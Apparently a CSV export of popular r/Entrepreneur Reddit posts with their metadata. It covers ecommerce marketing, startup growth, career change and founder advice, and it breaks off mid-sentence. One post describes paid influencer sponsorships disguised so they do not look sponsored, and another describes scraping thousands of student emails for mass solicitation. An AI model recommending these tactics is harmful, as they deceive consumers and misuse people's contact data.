admitting they are receive sponsored products in exchange for coverage. **The Perfect Perk** For instance, I ran into a fashion blogger who wanted $750 for a sponsored post. But but after a bit of talking, we concluded that she would write a post about the Ecommerce store in exchange for a leather handbag valued at $350. We’re a store! We don’t pay full price for our items… we only SELL our products at full price. That handbag had a wholesale price of $120. Which means… We get to be featured on a giant industry site for $120 instead of the standard $750. Now we’re talking! **Here's how it went down:** - Wholesale handbag cost = $120 - Shipping = $15 - Time 1 hour = $15 Total cost: $150 for a DA64 link on a related industry site. It gets EVEN better. The review is all about our product. That means that if out of the thousands of readers who read it, a single person buys because of the recommendation, we’ve already made our money back. Essentially… the link costs us absolutely nothing and we get to benefit from increase in Google traffic for years to come. **Here's what happened:** - Profit made from sales from the article = $300 (We sold 2 at $150 profit each) - Yearly increase in traffic (0.5%) = Approximately 1000 extra visitors - Additional sales from extra traffic (2% conversion) = 20 sales - Average profit from each sale ($56) = $1120 $1120 long term profit + $300 immediate profit – $150 investment = $1270 Which means that we’ve made $1270 in profit from our $150 handbag investment. And that’s how you grow your traffic on a brand new Ecommerce store… making money as you move forward. The best part? When major influencers start featuring your store and products, OTHER influencers will follow. Soon you’ll have influencers contacting YOU, requesting samples, practically begging to write about you. From there, just rinse and repeat as long as you want and watch your traffic (and sales) grow. Cheers Reddit! ---- **Edit:** Because I'm getting a lot of PM /questions about this (everyone's really nice, thanks!) * Here's my [Facebook page](https://www.facebook.com/ericlancheresseo/) if you want to stay up to date. * And [this is where I coach / help people](http://www.mytrafficresearch.com/main/) however registration for [Traffic Research](http://www.mytrafficresearch.com/) is closed at the moment. (I can only support so many people at a time) **Edit 2:** Post back up. Thanks for all the positive feedback, and I'll try to answer as many questions as I can today. Yes, I noticed there was negative feedback as well (I guess that happens when posts hit a critical mass), everyone's entitled to their own opinion however try to stay kind to your fellow Redditors. I'm just sharing my experience for those that want to hear it. Cheers!",ericlancheres,2589,191,1487888644,/r/Entrepreneur/comments/5vtkwo/for_11_years_i_have_been_ranking_ecommerce_stores/,https://www.reddit.com/r/Entrepreneur/comments/5vtkwo/for_11_years_i_have_been_ranking_ecommerce_stores/,self.Entrepreneur,True,,,,, zbgq3i,Entrepreneur,"I dont care if my employees watch Netflix, shop on amazon and only work 4 hours a week. As long as they can get assigned tasks completed as if they were working 40. If I need more done, then I'll ask for it or pay for it, and if they routinely abuse the relationship I fire them. Easy as that.","1. I think a lot of people, in personal and business life, get offended and threatened by the wrong things and it costs them in time and suffering. 2. My role as an entrepreneur is not to squeeze my workers for every unit of productivity as possible. Its to ensure that I'm getting a fair exchange of value that's conducive to competing my business goals. 3. If people don't do what they're asked to do, by the time I want it done we have a conversation. If it becomes habitual, then they're fired. And here's the kicker...low value employees are low value under a tyrannical management regime as well as a more laid-back one; both environments require a similar level of serial documentation to mitigate blowback from termination, but only one creates undue stress and hostility for everyone involved.",Koolaid-Chugger,2506,283,1670075367,/r/Entrepreneur/comments/zbgq3i/i_dont_care_if_my_employees_watch_netflix_shop_on/,https://www.reddit.com/r/Entrepreneur/comments/zbgq3i/i_dont_care_if_my_employees_watch_netflix_shop_on/,self.Entrepreneur,True,,,,, x3ehfg,Entrepreneur,I currently run four successful online businesses. I am very frustrated about all the generic advice and bullshit courses out there. Here's the only advice you need.,"This is aimed at younger folks and those just getting started in entrepreneurship, particularly in tech. All over TikTok and Reddit, people keep throwing around all this useless advice to ""become successful."" Wake up earlier, read more books, etc. Courses about getting an ""entrepreneurs"" mindset. That you have to hustle and work hard. All of that is bullshit. Those attributes will not make you successful. I mean don't get me wrong--it's good to organize your life. But speaking as someone who founded four successful online businesses and works in a VC firm, these trendy pieces of ""advice"" are all platitudes. The best piece of actionable advice I can give, based on founding four successful businesses and working with other successful firms, is this: # 1). Pick and industry or niche, and master it. This is a huge pre-requisite that's not emphasized enough. Identify the industry or niche you want to enter (as specifically as possible) and become a master in it. Learn everything you can. Buy products from your (future) competitors. Understand the pain points that consumers in this industry face. Do market research. Figure out which keyword combinations to target. Learn about the technical attributes. The most successful businesses I've worked with all follow the same trend: They were formed by people who used to work in a specific industry as 9-5 employees, working for a company. They accumulated significant industry-specific knowledge, and understood pain points. Then they started their own business in this industry, targeting those pain points. # 2). Target an intersection of two industries or niches. What happens if you can't pick which industry or niche to enter? Or what if your selected industry is too competitive? Do this: list what you're good at, or what you're interested in. These can be as random as you'd like. Then, pinpoint a (viable) intersection between two listed interests or skills. For example: let's say you can build websites relatively well. You're also interested in cars. As we're all aware, the web design industry is \*\*extremely\*\* competitive. And what do cars have to do with web design? Instead of entering the web design field, enter the web design field targeting automotive dealers and mechanic shops. Build a few fake demo websites for auto mechanics, and then cold call auto mechanic shops with poor websites and offer them their services. Capture the vertical. Time and time again, I've seen this trend: * Person works for a corporation, in a specific industry. * Person accumulates knowledge about said industry. * Person leaves the company, and starts his own small business targeting a pain point that their former employer was unwilling to target.",theweeblyguide,2475,237,1662055994,/r/Entrepreneur/comments/x3ehfg/i_currently_run_four_successful_online_businesses/,https://www.reddit.com/r/Entrepreneur/comments/x3ehfg/i_currently_run_four_successful_online_businesses/,self.Entrepreneur,True,,,,, jz0236,Entrepreneur,$80m founder; telling it like it is.,"Hi all, my biz just reach a $80m valuation after a tonne of hard work but my click-bait title is designed to outline whats wrong in this Sub-reddit. Unfortunately, most of the content here doesn't represent true entrepreneurs but rather wantrepreneurs that think you need a crazy idea to make it, you have too many great ideas and can't focus, how you make a tonne of cash without working hard. In this post, I am just going to lay out some home truths in the hope that maybe one person may not waste their hard earned money on a silly idea, or perhaps stop daydreaming and start doing. &#x200B; **Entrepreneurship is NOT about big ideas** There are 5.6m [employer firms in the USA,](https://sbecouncil.org/about-us/facts-and-data/) thats at least 5.6m entrepreneurs in the USA. Most of these entrepreneurs have businesses in existing industries. People today have been poisoned by click bait regarding geniuses like Mr. Zuck or Page. & Brin who have dominated their fields and created wealth beyond anyone's wildest dreams yet their ideas weren't original, [Google wasn't the first search engine.](https://www.hpe.com/us/en/insights/articles/how-search-worked-before-google-1703.html) It wasn't the second, not even the third. Successful business is all about execution. A great team with a dull and mundane product are so much more likely to get succeess than a college grad with a big dream. * If you feel that being an entrepreneur requires a big idea, you are a wantrepreneur * If you carry a notebook with all yout great ideas, you are a wantrepreneur. * If you have so many great ideas but just lack focus (also known as as the ability to execute well), you are a wantrepreneur Every headhunter that starts their own headhunting firm is an entrepreneur and they aren't doing anything massively different, they just back themselves to execute better. Lawyers who make their own practices are entrepreneurs, you don't need to create the next automated legal subscription service to be an entrepreneur. Either learn a business, get great, save up and then launch a slightly differentiated business or focus on looking for problems in the job you currently are doing. Stop dreaming, start executing &#x200B; **Successful entrepreneurs spend more time empowering others to build their business** A lot of people lurking around this sub seem to relish the idea of bring their big idea to life. I have news for you; this process is maybe 6-18months of your business. The rest is incremental improvements and empowering others to grow your business further. Maybe you are working in a 9-5 job and dreaming via this sub is a way to keep you sane but remember when you have 100 people working for you, you have 100 people potentially thinking of ways to move to the next thing. Who doesn't want to be a tech millionaire! Remember, you probably think you are under-paid and under-appreciated but every person you employ will think similar! Even if you have the experience, drive and ingenuity to build the beginnings of a business, you can only grow it so much before you need to rely on others. If you cannot empower those people, you will not execute and you will not succeed. A manager who knows how to empower and excite their sub-ordinates is so much more value than someone who wants to create 'strategy' all the time. If you don't have this skill yet, you will need a co-founder does or you will need to get more corporate experience &#x200B; **Businesses aren't built for you** Many posts on this sub talk are variants of get rich quick schemes or figuring out how to 'side hustle'. At the heart of it, many wantrepreneurs think that working for themselves will bring immense freedom and untold riches. When you employ 100 people, you are **responsible** for the livelihoods of 100 people. You are priority 2 vs your staff. Businesses need people and people need to believe that their fearless leader can make great outcomes for them! Think about that for a second. Are you mature enough to be responsible for 100 families rent or mortgage? Do you realize that a silly decision on your side could actually create financial hardship for others? If your business is not built to make your employees lives better, your great employees will churn out and your business and you will not succeed. When you look at your spreadsheet imaginging the $100m net income from your online bow-tie emporium, just remember, those 'staff' numbers will become real people. Be prepared to look after them. Managing your staff well is worth 100x that zany, crazy idea.... soz &#x200B; **Why do you want to be an entrepreneur?** I think that by now I can call myself a successful entrepreneur and while I am a wealthy human on paper, I am grinding and saving like everyone else. In fact, my sister who is a few years younger than me and who works in law earns **triple** what I do whilst complaining that she doesn't have the work freedom. If you just want to be wealthy, without the hassle of all the above, try your best to get into those premier industries and make a career out of it. If you aren't fortunate enough to be able to move into Law, medicine, finance etc then excel at what you are currently doing and then do exactly the same thing yourself. &#x200B; I think that is enough of a rant. Dreaming is great because the thought of being successful can fill that emotional void but unfortunately it isn't real. Furthermore, if you think that being an entrepreneur means being the next Zuck or equivalent, you are essentially trying to replicate 0.01% of successful entrepreneurs as opposed to the 99.99% unsung business owners out there Good luck to all!",prsh_al,2433,452,1606067881,/r/Entrepreneur/comments/jz0236/80m_founder_telling_it_like_it_is/,https://www.reddit.com/r/Entrepreneur/comments/jz0236/80m_founder_telling_it_like_it_is/,self.Entrepreneur,True,,,,, vqr0hm,Entrepreneur,From $18K/mo to $260K/mo in 5 months selling backpacks.,"I’ll save you the long form word vomit and just get to the bullet points so you can see what worked for us and replicate it in your own business. *(if you sell even half decent physical goods you can follow this exact formula & get comparable results.)* Alright, the company sells travel backpacks targeted at photographers & videographers. Product primarily used to store and transport camera gear & film equipment. In January the store hit $18K in monthly revenue purely from the owner's efforts of posting in online communities, making videos on a YouTube channel, Google search ads, & running Facebook Ads on a low daily spend that would ""crap out"" if he tried scaling beyond $100/day. **Here is how we took the store to $260K/mo just 5 months later:** \- Mass outreach (via e-mails & cold DM) to nano & micro influencers in photography niche on TikTok, Instagram, & YouTube. \- We offered them free product in exchange for content & a mention IF they truly like the product. The messaging & tone used during outreach will determine your open rates & responses. Less is more. \- If a creator didn't opt for the free product alone but was responsive & interested in collaborating, we offered budget-friendly paid sponsorship that was not supposed to look or feel like a sponsorship. The payment depended on the creator's content quality, audience size, & engagement rate. \- All collaborations were content-oriented. They had to be entertaining, engaging, & educational with no emphasis on driving sales, pushing discounts, or artificial scarcity. ""Just make stuff your audience will watch & enjoy."" This approach works especially well with TikTok right now since good content can gain traction organically. \- Example: One of the creators we hired does wildlife photography & documents the behind-the-scenes on his TikTok. He brought the backpack along for one of his trips and was just honest about it and how it was sent to him. Gave a genuine review where he listed the pros & just one minor con which the owner has since fixed. \- We were netting an average 7x return on these influencer collaborations. We calculated this via **attributed revenue** divided by (**cost of goods gifted** plus **payments to influencers**). \- Here's where things got very interesting... 🔥 \- We got permissions from all creators to use their content for commercial purposes, advertising, etc. All of the content we were receiving was sent to our video editors to be cut up, reordered into different sequences, overlayed with a voiceover & turned into ad creatives. \- The secret to paid advertising is LOTS of creative variations (multivariate testing) and focusing on 2-3 platforms where you can really excel and go all in. Most 8 & 9 figure brands I've worked with started with 1 offer on 1 platform & many still run that (among other campaigns) to this day. ""If it ain't broke, don't fix it"". \- You also have to adapt your ad creative to the placement platform. What works on TikTok may not translate well to Facebook and vice versa. For TikTok & IG Reel placements, we write a voiceover script and try to tell stories involving the product. This is the format users trust & engage with. \- At this point in our journey, the company that couldn't spend >$100/day on ads profitably was now spending $500/day at 3.5x ROAS. What changed? The quality of the creative and the amount of creative tests launched. More volume = more rolls of the dice = more chances of outliers that outperform everything else. \- Prior to seriously scaling ads we wanted to ensure the backend was optimized. Two key areas to focus on are CVO (customer value optimization) and CRO (conversion rate optimization). \- **CVO Optimizations that worked well:** To anyone who didn't take the pre-purchase upsell on the product page, we offered it at a discount post-purchase. We also offered a 2nd identical backpack, post-purchase, at a deep discount. ""So your travel partner doesn't feel left out."" Surprisingly we had a 6% take rate which was insane since it's not a cheap product. Split test your upsells for maximum AOV. Outside of that, we rewrote the e-mail sequences to better reactivate customers but we're limited in what we can do to increase LTV until the owner launches new products. \- **CRO Optimizations that worked well:** We wrote & designed a new dedicated landing page for cold traffic. Took away walls of text / bloat and replaced it with visual content. We added in a bold branded guarantee that was specific to the product and instilled confidence. ""We're so sure you'll love this, we'll do blank, blank, & blank"". We also filtered reviews to prioritize the most content-rich & context-rich reviews. Personal stories & experiences showcased via videos & photos. Reviews that site visitors feel represented by and can relate to. Most importantly, we also added in a FAQ section on the bottom and took inspiration for common questions from competitors' sites & Amazon listings of similar products. Below the FAQ we added another strong call to action. All of this effort took the conversion rate from 1.4% to 3.6% to the same traffic source (controlled experiment). \- We were finally ready to start cranking up the heat and begin scaling. We started pushing through more advertising spend and increasing budgets daily until we started to hit resistance and diminishing returns. Between the organic sales from influencer content and our paid advertising, the store did $260K in revenue last month. (This excludes wholesale/retail sales). \- **What's next for this store?** We start scaling paid ads horizontally & increase spend on platforms like Snapchat, YouTube, & Pinterest. For placements like Pinterest & native ads, we'll be creating advertorials. And of course, we will continue creator collaborations at scale and slowly start breaking into bigger influencers and podcasts. Once new products are launched & the company can extract a higher AOV and LTV, we will be more comfortable scaling further since the higher acquisition costs won't cut that deep into profits. The goal is also to get the flagship product listed on various online marketplaces like Amazon & Walmart for residual sales and look into scaling internationally in the next 3 months. Oh, and there's an exciting ""YouTube SEO"" strategy we'll be testing out so fingers crossed. If there's enough interest, I will do a follow-up post after the next 5 months and share what's been working for us yet again. I will also be here on Reddit occasionally and answer any questions as they arise. Good luck everyone.",AdYeti,2373,212,1656882147,/r/Entrepreneur/comments/vqr0hm/from_18kmo_to_260kmo_in_5_months_selling_backpacks/,https://www.reddit.com/r/Entrepreneur/comments/vqr0hm/from_18kmo_to_260kmo_in_5_months_selling_backpacks/,self.Entrepreneur,True,,,,, ako3dd,Entrepreneur,How I made $10k in one weekend as a college student with no cash,"It was about 8 weeks before graduation weekend in my college town in 2012. I was a senior about to graduate. My mother was bugging me to help her find a hotel near campus for graduation weekend. For her, my father, my grandparents and my sister. Three rooms. I called about 10 hotels around campus. Checked Priceline. There was nothing available at all. AirBNB was the same. The closest city with availability was about 30 minutes away. They only had 3 rooms left in the entire hotel and they were $350 per night plus fees, each, with a three night minimum. Even they were cashing in on graduation. Thats $3,150 + fees. I refused. I’d rather them stay home and miss graduation. The closest hotels with normal pricing and availability were over an hour away. I thought about my friends who were sophomores and juniors renting apartments in the area. Classes ended about 10 days before graduation. They all were gone for the summer working internships or back home. Their apartments were empty. I texted a group of three friends living in a three bedroom apartment. I offered them $500 if they let my parents stay there over the weekend. They quickly agreed. All set with my family and we saved about $3,200. My college had recently added a feature to the email (Google powered email). If you started typing someone’s name it would autofill and provide you with their email address. My school had about 4,000 students in each class and the facebook group had about 3,000 each. I joined each group. I then went through using one screen on the facebook group members page and one screen on the gmail page typing in names and mining email addresses. About 20 hours later I had a list with the email addresses of 3000 juniors and 3000 seniors. I typed out a nice email to the Juniors: >Friends, > >My family and a few of my classmates’ families are looking for a place to stay on graduation weekend. If you will be gone that weekend and would be interested in renting out your apartment to them let me know. > >Thanks! I then typed out this email to my fellow seniors: >Friends, > >A few of my undergraduate classmates are offering to rent their rooms to the families of seniors during graduation weekend. If your family needs a place to stay right near campus during that weekend let me know! > >Thanks! I sent both emails and then headed out to track practice. When I got home 4 hours later I had over 400 emails in my inbox. I ended up tiering the pricing based on location, cleanliness, ability to provide linens and amount of rooms. I paid out about $35 per room per night on average and I did a three night minimum for everyone. Graduation weekend is quite an ordeal so that was pretty standard anyway. I rented the rooms at about $100 per room per night. This was a big savings over hotels but the guests had to be okay with a dirty apartment and bringing their own linens for the most part. But they got to stay in the heart of the action and save a lot of money. I set low expectations for the renters. I told them it would be dirty. I told them it would be sweaty. I told them to bring linens and cleaning supplies if they wanted to. I strictly told all of the underclassmen to clean their apartments very well. I sent them detailed checklists. I did the best I could to make sure it would be presentable. As soon as I collected payment from the senior I would pay the underclassman and connect them on email telling them to organize the key hiding and check out stuff. I kept a few apartments extra in case of emergency and ended up using one of them so I'm glad I did that. Overall I brokered about 60 rooms and cleared about $10,000. EDIT: A few people have asked what I'm up to since this time. Here is [my story](https://www.reddit.com/r/Entrepreneur/comments/ac8rqr/my_founding_story/) I posted here a few weeks ago. If you enjoyed this you might enjoy [my podcast](https://itunes.apple.com/us/podcast/the-sweaty-startup/id1445260221?mt=2) on service based entrepreneurship.",sweatystartup,2363,304,1548686918,/r/Entrepreneur/comments/ako3dd/how_i_made_10k_in_one_weekend_as_a_college/,https://www.reddit.com/r/Entrepreneur/comments/ako3dd/how_i_made_10k_in_one_weekend_as_a_college/,self.Entrepreneur,True,,,,, ge9swn,Entrepreneur,I changed careers and went from $40k to $100k in one year.,"Eight months ago, I changed my life completely. I went from being severely depressed, unfulfilled, and frustrated, working 50 hour weeks, barely earning above minimum wage, to landing my dream job, and more than doubling my salary. I’m sharing my experience because when I first began this journey, I would have loved to have heard a story like mine. After 7 years as a hairdresser, it became clear I was on the wrong path. Having always loved writing, I became determined to pursue a career in copywriting. The problem was, I had no idea where to start. When I researched ways to transition into the industry, every resource said I’d have to go back to college and study. I didn’t want to waste another 3 years, accumulating enormous debt for a piece of paper that I knew wouldn’t make a difference. I needed to find a different way to reach my goal. Here are the steps I took to change from hairdresser to copywriter, without a degree, and without an internship. **1. Shift your mindset.** I had to unlearn everything I thought I knew about how to build a successful career, starting with challenging the belief that I wasn’t capable, or deserving of the career and life I truly wanted. These limiting beliefs mean most people just settle for a job they can tolerate, not the life they want. I read the work of many successful female entrepreneurs to learn about how they overcame their own self-sabotaging beliefs, as well as researching material online about how to handle “imposter syndrome.” I have an entire hype-board on Pinterest, purely to remind myself that I am deserving of a seat at the table. **2. Find a mentor** I ""apprenticed"" myself to my friend who is a successful entrepreneur and runs several digital businesses. Find someone who has been successful in the niche you’re interested in and ask them for help. If you ask for help, the majority of the time, you’ll receive it. Successful people have been where you are now. When someone who genuinely wants to achieve what they have, asks for help, they are almost always more than willing to give it. **3. Research** I researched on Goodreads to see which books were consistently mentioned as being the best across marketing and copywriting. These included: * *Mastery,* Robert Greene * *Daily Rituals*, Mason Currey * *On Writing Well,* William Zinsser * *The Adweek Copywriting Handbook,* Joseph Sugarman * *Ca$hvertising,* Drew Eric Whitman * *Influence: The Psychology of Persuasion,* Robert B. Cialdini * *The Copywriter’s Handbook,* Robert W. Bly A key part of my process with these books is to take notes as I go, and either create or find online, a book summary once I’ve finished reading. I keep a Google Drive folder just for book summaries and I refer to them at least once a month to refresh my mind. I did one online copywriting course that I actually found here on Reddit, which turned out to be incredible. The thread is still up if you want to [check it out.](https://www.reddit.com/r/digitalnomad/comments/aiwymi/i_make_around_300000_a_year_as_a_freelance/) **4. Start TODAY.** I practiced as much as possible, journaling daily, writing on Medium, and submitting work to sites. I gained experience by working for my friend to practice working to a brief, following a word count, and meeting deadlines. **5. Cold-email small businesses.** I started cold-calling and cold-emailing small local businesses, offering my services for free to help gain experience and build my portfolio. I landed my first \*legit\* client this way. In “Influence”, Cialdini talks about the principle of reciprocity — if you offer your services for free to a few people, it’s likely that at least one of them will return the favor by offering you ongoing work. **6. Apply for jobs** I started applying for copywriting jobs. Initially, I never heard back from a single application, until I decided to leave my work history off my resume entirely. I think potential employers were seeing my history as a hairdresser and immediately concluding I wasn’t qualified for the role. This tactic worked; I got a callback and they asked me to provide a writing sample. I knew I was up against 3 other top candidates, so I decided to go above and beyond — I didn’t supply just one writing sample, I supplied 4 and explained how I would split test them to find the top performer. I figured no one else would go to that amount of effort, and my employer later told me that was true, no one else had. I had an interview and I got the job. Less than 6 months after that I became a freelancer, continuing to work with that company as my main client but with others on the side as well. Today, I work with a range of clients including social media influencers, brands, and small businesses. I don’t expect to gain anything from sharing this, and I’m not looking for new clients. I just thought some of you might feel inspired by this or find some of the steps I took useful. If you do want to find me, I’m on [Instagram](https://www.instagram.com/socialsquad.co/). And I have a [website](https://www.copysquad.co/) too.",VisibleLiterature,2316,286,1588725280,/r/Entrepreneur/comments/ge9swn/i_changed_careers_and_went_from_40k_to_100k_in/,https://www.reddit.com/r/Entrepreneur/comments/ge9swn/i_changed_careers_and_went_from_40k_to_100k_in/,self.Entrepreneur,True,,,,, fsihym,Entrepreneur,"Inspired by deep depression, I taught myself to code, built a manual mood tracker used by 285k people which earned ~$100k then raised $1m in angel/VC funding to launch a fully automatic mood tracker. Ask me anything!","10 years ago I was given a serious mental health diagnosis, my world was flipped upside down. I was in my second year of college and I was hospitalized for a month. Upon coming out my mom (a psychiatrist), my therapists, and doctor all recommended I track my mood. I didn’t agree with it, but it came at a cost. I struggled with my mental health for 2 years and slowly learned the wisdom of mood tracking and seeing how what I do impacts my mental health. Not wanting to use the flimsy paper given by my psychiatrist and unhappy with the mood tracking apps at the time, taught myself to code and built myself a mood tracker that was used by 1/4 million people, featured by Apple on the front page of the App Store, and generated around $100k from a freemium subscription. I’ve now built an automatic mood tracker called Misü because the top reason folks stop tracking is that manually tracking anything makes it a hard habit to keep up. What is Misü? Misü ([www.misu.app](http://www.misu.app/)) automatically tracks your mood through facial micro-expressions while you use your computer. Misü helps you learn about your mood trends, as well as how various apps and sites impact your mental health. Would love your feedback on the app. Turns out that 10% of the U.S. has tracked their mood in the past, and using Misü, people track their mood for 10x longer than they would for manual tracking. Fast Company covered wrote an [article](https://www.fastcompany.com/90483768/if-covid-19-news-has-you-down-this-mood-tracking-app-can-help) on Misü today. If you want to try Misü and avoid our email capture (available for Mac): [www.misu.app/get-misu-app](http://www.misu.app/get-misu-app) If you want to be notified when Android, iPhone, Windows and Linux versions, sign up [here](https://dan898734.typeform.com/to/MJJrk7). Feel free to ask me anything about: * Where I see the future of mental health tech / industry * Raising VC/angel funding as a solo founder (been rejected +100 times and have raised nearly $1m) * Learning to code without any prior background * Why I choose to use webcams when privacy concerns are at an all time high * The experience of having cofounder relationships not work out * Surprising things we’ve learned about the product so far * A funny fundraising story where my tech read my anxiety during a meeting and the investor called me out. * Working through the inevitable doubt that comes when runway is low and momentum is lower * Learnings from making pivots (x3) to the business strategy. UPDATE. Going to take some time for my mental health. Thank you so much for the questions and discussion. Upvote the unanswered questions you want answers to and I’ll answer more tomorrow. Feel free to ask more",decide,2316,283,1585679931,/r/Entrepreneur/comments/fsihym/inspired_by_deep_depression_i_taught_myself_to/,https://www.reddit.com/r/Entrepreneur/comments/fsihym/inspired_by_deep_depression_i_taught_myself_to/,self.Entrepreneur,True,,,,, tdkycp,Entrepreneur,How I became a multi-millionaire at 27 without any skills,"Hi everyone, the day I turned 27 is the day I opened up my bank account to see I'm officially a multi-millionaire. I'm not going to waste your time with a bunch of irrelevant details, so lets get straight to it: \[#1 Insert vague tip here\] \[#2 Insert vague tip here\] \[#3 Insert vague tip here\] \[#4 Insert vague tip here\] \[#5 Insert vague tip here\] \[#6 Insert vague tip here\] \[#7 Insert vague tip here\] \[Motivational content that instills hope that maybe you can do it too\] \[Hidden CTA to join my funnel via looking at my reddit profile\] I look forward to all your interrogative questions where I can plug my social media and tell you I have nothing to sell you.",Ok-Worldliness-8843,2290,274,1647218477,/r/Entrepreneur/comments/tdkycp/how_i_became_a_multimillionaire_at_27_without_any/,https://www.reddit.com/r/Entrepreneur/comments/tdkycp/how_i_became_a_multimillionaire_at_27_without_any/,self.Entrepreneur,True,,,,, gs866a,Entrepreneur,"From $0 to $323,010.43 in 14 months with a simple startup. The exact Facebook ads, landing pages, website, pricing strategy, sales aids and everything you need to do it yourself in one massive post. Nothing is held back.","TL;DR. Me and my college buddy took our startup to $323,000.43 in 14 months and we will soon pass $1,000,000 in annual recurring revenue. I’m creating this post to give you a ski lift up the hard-fought mountain of success. I wish someone had done that for me. This is how we did it. All cards on the table. (Read time \~ 10 minutes). Turn off your Law & Order reruns. Settle in and pick the [Red Pill so we can go into the Matrix. ](https://imgur.com/a/0SrjT6X) \[Important: This post is not intended to sell or promote anything homie. It's my small way of paying it forward to entrepreneurs, a community I deeply care about. Can't be more clear than that.\] # What we do I’m the founder and CEO of **Smart Alto** the easiest way to set 15-minute phone appointments with homebuyers. Real estate agents advertise homes on Zillow, Realtor.com, Homes.com and other places. The problem is when homebuyers want to meet with real estate agents to view properties, real estate agents almost never respond to the inquiries because they’re busy doing other stuff. We built technology that sends text messages to those homebuyers within 2 minutes, asks them a few simple questions, and then sets 15-minute phone appointments on the real estate agent’s calendar. That way, the homebuyer always gets their questions answered and can then schedule time with the real estate agent to go see the home. I used to work for a real estate brokerage to set appointments for real estate agents, so I know this problem very well. # Pulling back the curtain on my startup. I’m pulling back the curtain on my startup and going to show you exactly what I did to take it from $0 to $500,000/year and beyond. This (admittedly) long post includes the exact Facebook and Google ads, landing pages, copy, sales playbooks, Facebook posts, integrations, videos, websites, pricing strategies and practically everything I’ve used to grow my business. I’m going to show you what I screwed up (so you can skip my mistakes) and what I got right (so you can copy my success). **It doesn't matter how fast you go if you’re running in the wrong direction**. I wish someone would have done this for me when I was a newbie. Instead, I had to piecemeal crap for years, lose money, and fight tooth and nail to climb the entrepreneurial mountain. Well, you can skip that step because this post is your **Ski Lift** to the top of the mountain, so let’s make it **Snowfall** (inside joke, keep reading and you’ll get it). These are the most important things I focused on to start growing fast (read: this is what you should focus on too). \[Important note: Per the [PII guidelines](https://www.dol.gov/general/ppii), I hid the names, email addresses and phone numbers of customers when necessary.\] # Customers Most folks screw up because they want to change the world with a fancy idea. They ultimately sell something no one wants to buy and go broke. Start with a hungry, burger-loving customer base and sell them burgers, man. [Click to see how I learn about my customers to sell them what they want.](https://imgur.com/a/zJFXhaT) # Website My main goal is to increase website conversions. I want at least 3% of website visitors to schedule a demo with my sales team. My website answers 7 questions. [Click to see the 7 questions my website answers](https://imgur.com/a/bBFxohU). # Marketing I pay for eyeballs. I’ve got an outdated blog and my SEO sucks, but who cares? I’m not a publisher so screw all the marketing gurus who demand I write new content everyday. [Click to see my entire marketing funnel, from the Facebook and Google ads I run to the landing pages I use. ](https://imgur.com/a/1Hvie3x) # Snowfall This is my secret weapon. The smartest thing I’ve ever done as a marketer is double down on showcasing customer results. This one strategy will have you feeling like [Franklin Saint from Snowfall](https://imgur.com/a/AA6HCTC) when he realized he was finally going to be rich. I created a handful of videos showing my customer’s results and blasted them all over social media, email and everywhere else my potential customers hangout. [Watch my Snowfall.](https://imgur.com/a/vuippBK) # Community If I can’t first build a community of people who trust me, then I won’t build a business. I want to be the [Pied Piper ](https://imgur.com/a/l554zQ5)for customers who desperately have a problem and money to solve it. My community has been ROI positive from day one and is the gift that keeps on giving. These fans know I have their best interest at heart, so they follow me. [Click to see me build a community that makes me thousands of dollars every month.](https://imgur.com/a/KLvLgHv) # Sales So far I’ve been talking about how to generate demos for my sales team. But demos don’t matter without a way to turn them into money. We created a simple playbook. No fancy scripts. No phony salesmanship. Just a simple process on what happens when we get a new lead. This isn’t as hard as you think. It just takes a little time and a lot of heart. [Click to see our sales playbook. ](https://imgur.com/a/mv7nhK2) # Raise prices + annual deals We started with a single $200/month price point. We left so much money on the table that I still cry every time I think about it. The best thing we’ve done is increase our price and start selling annual deals. Now we have customers who pay us as little as $300/month and as much as $70,000/year. Same product. Different prices. More money. [Click to see the evolution of our pricing strategy.](https://imgur.com/a/OrYgvQi) # Takeaway Okay folks, here’s the hard truth: I’m a country boy from the backwoods of Alabama. I was born without marketing knowledge, product knowledge, or sales knowledge. I’ve never studied business or design at fancy schools. I run a technology startup, but I’ve never written a single line of code. I’ve learned everything from free YouTube videos, $5 books/courses, and expensive mistakes. If I can do this, then you can too. (Read that last sentence again). I’m just a guy. I work hard, I'm smart, and I learn from my mistakes. But at the end of the day...I’m just a guy from the backwoods of Alabama. Success leaves clues. There is no reason you can’t copy my work and tailor them for your own business. There is nothing new under the sun, you just have to make it fit your business. **The companies that made this happen** * Zapier (Automate all my workflows and send leads to hundreds of places) * Active Campaign (Best email marketing software IMHO) * Loom (Before I write anything I think “can I create a video”. If so, I use Loom) * Webflow (Build a beautiful website with zero code. Tons of templates.) * Group Leads (Add FB Group members to a spreadsheet. #LifeSaver) * Twilio (Expensive, but reliable text and calls) * Calendly (Set demos with my sales team) * Design Pickle (Affordable, awesome design. Priceless) * Lightshot (Capture screenshots of results I get for clients) * Chargebee (Subscription management that makes Stripe easier to work with) * Stripe (Say it with me, “Show me the money”) * Trello (Manage all my tasks) * Zoom (Demos all day baby) * Pipedrive (Good CRM, needs more integrations) * LuckyOrange (See what are folks doing on my website in real-time) Congrats homie! You have reached the end, and now it’s time for the next level. **This is where my case study ends!** # ------------------------------------------- But keep reading if you want to go further into the Matrix and know the intangibles it takes to win. So far we’ve talked strategy and tactics. Sadly, that’s only 20% of the game. Right now you’re Mario, but you want to be Super Mario flying through the air and throwing fireballs. No worries, homie. I got you. # How to win ## Focus The things I focus on almost always get done. The hard part is figuring out what is important enough to focus on. I made this post because I wanted to share what I focus on to achieve success and give you a ski lift. Success leaves clues so just copy me. ## Personal relationships It’s hard to do important work by yourself. Your job is to build a solid team and great partnerships. I love working with smart people. Don’t be the guy who sits in your basement working all day only to realize later in life your nerdy neighbor had the missing piece to your puzzle. ## Market > product The number one thing I need to have a thriving restaurant is a starving crowd. Most folks spend their entire life savings making the perfect burger (product) only to discover customers (market) aren’t hungry. That’s Hustlin’ Backwards man. You can easily figure out what people are searching (Google), watching (YouTube), buying (Amazon), and sharing (BuzzSumo) in 20 minutes while watching Law & Order SVU reruns. ## Build a community The best way to launch your product is to a group of people who know, like and trust you. This is hard work, but it’s worth it, bro. Give people value. Build influence. Grow your fan base. Everything else takes care of itself. ## Track your results I measure the 3-5 most important things in my business. Then I ask myself, “how can I improve my metrics?”. The answers to that question results in my to-do list. That helps me focus. Focus is my superpower. ## Data > opinions I don’t care what any **one** **person thinks**. I focus on what sizable groups of potential **customers do**. *Did you catch that?* I focus on what they *do rather than what they think or say*. People will often tell you one thing and do something entirely different. Screw your opinion. I set up experiments, collect data, measure results, and take action. ## Asymmetric risk/rewards Ray Dalio, Jack Bogle, Jeff Bezos, and other folks I study all basically say the same thing: take affordable risks and look for outsized returns. With a 5:1 